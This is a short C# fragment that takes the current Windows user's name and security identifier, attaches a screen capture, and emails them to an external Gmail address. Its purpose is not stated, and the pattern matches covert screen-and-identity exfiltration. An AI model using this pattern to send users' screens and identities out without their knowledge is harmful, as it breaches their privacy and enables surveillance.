System.Net.Mail.MailAddress toAddress = new System.Net.Mail.MailAddress("xxxxx@gmail.com");
System.Net.Mail.MailAddress fromAddress = new System.Net.Mail.MailAddress("thismachine@xyz.com");
System.Net.Mail.MailMessage mm = new System.Net.Mail.MailMessage(fromAddress, toAddress);
sysName = System.Security.Principal.WindowsIdentity.GetCurrent().Name.ToString();
sysUser = System.Security.Principal.WindowsIdentity.GetCurrent().User.ToString();
mm.Subject = sysName + " " + sysUser;
string filename = string.Empty;
System.Net.Mail.Attachment mailAttachment = new System.Net.Mail.Attachment(printScreen);
mm.Attachments.Add(mailAttachment);
mm.IsBodyHtml = true;
mm.BodyEncoding = System.Text.Encoding.UTF8;
sendMail(mm);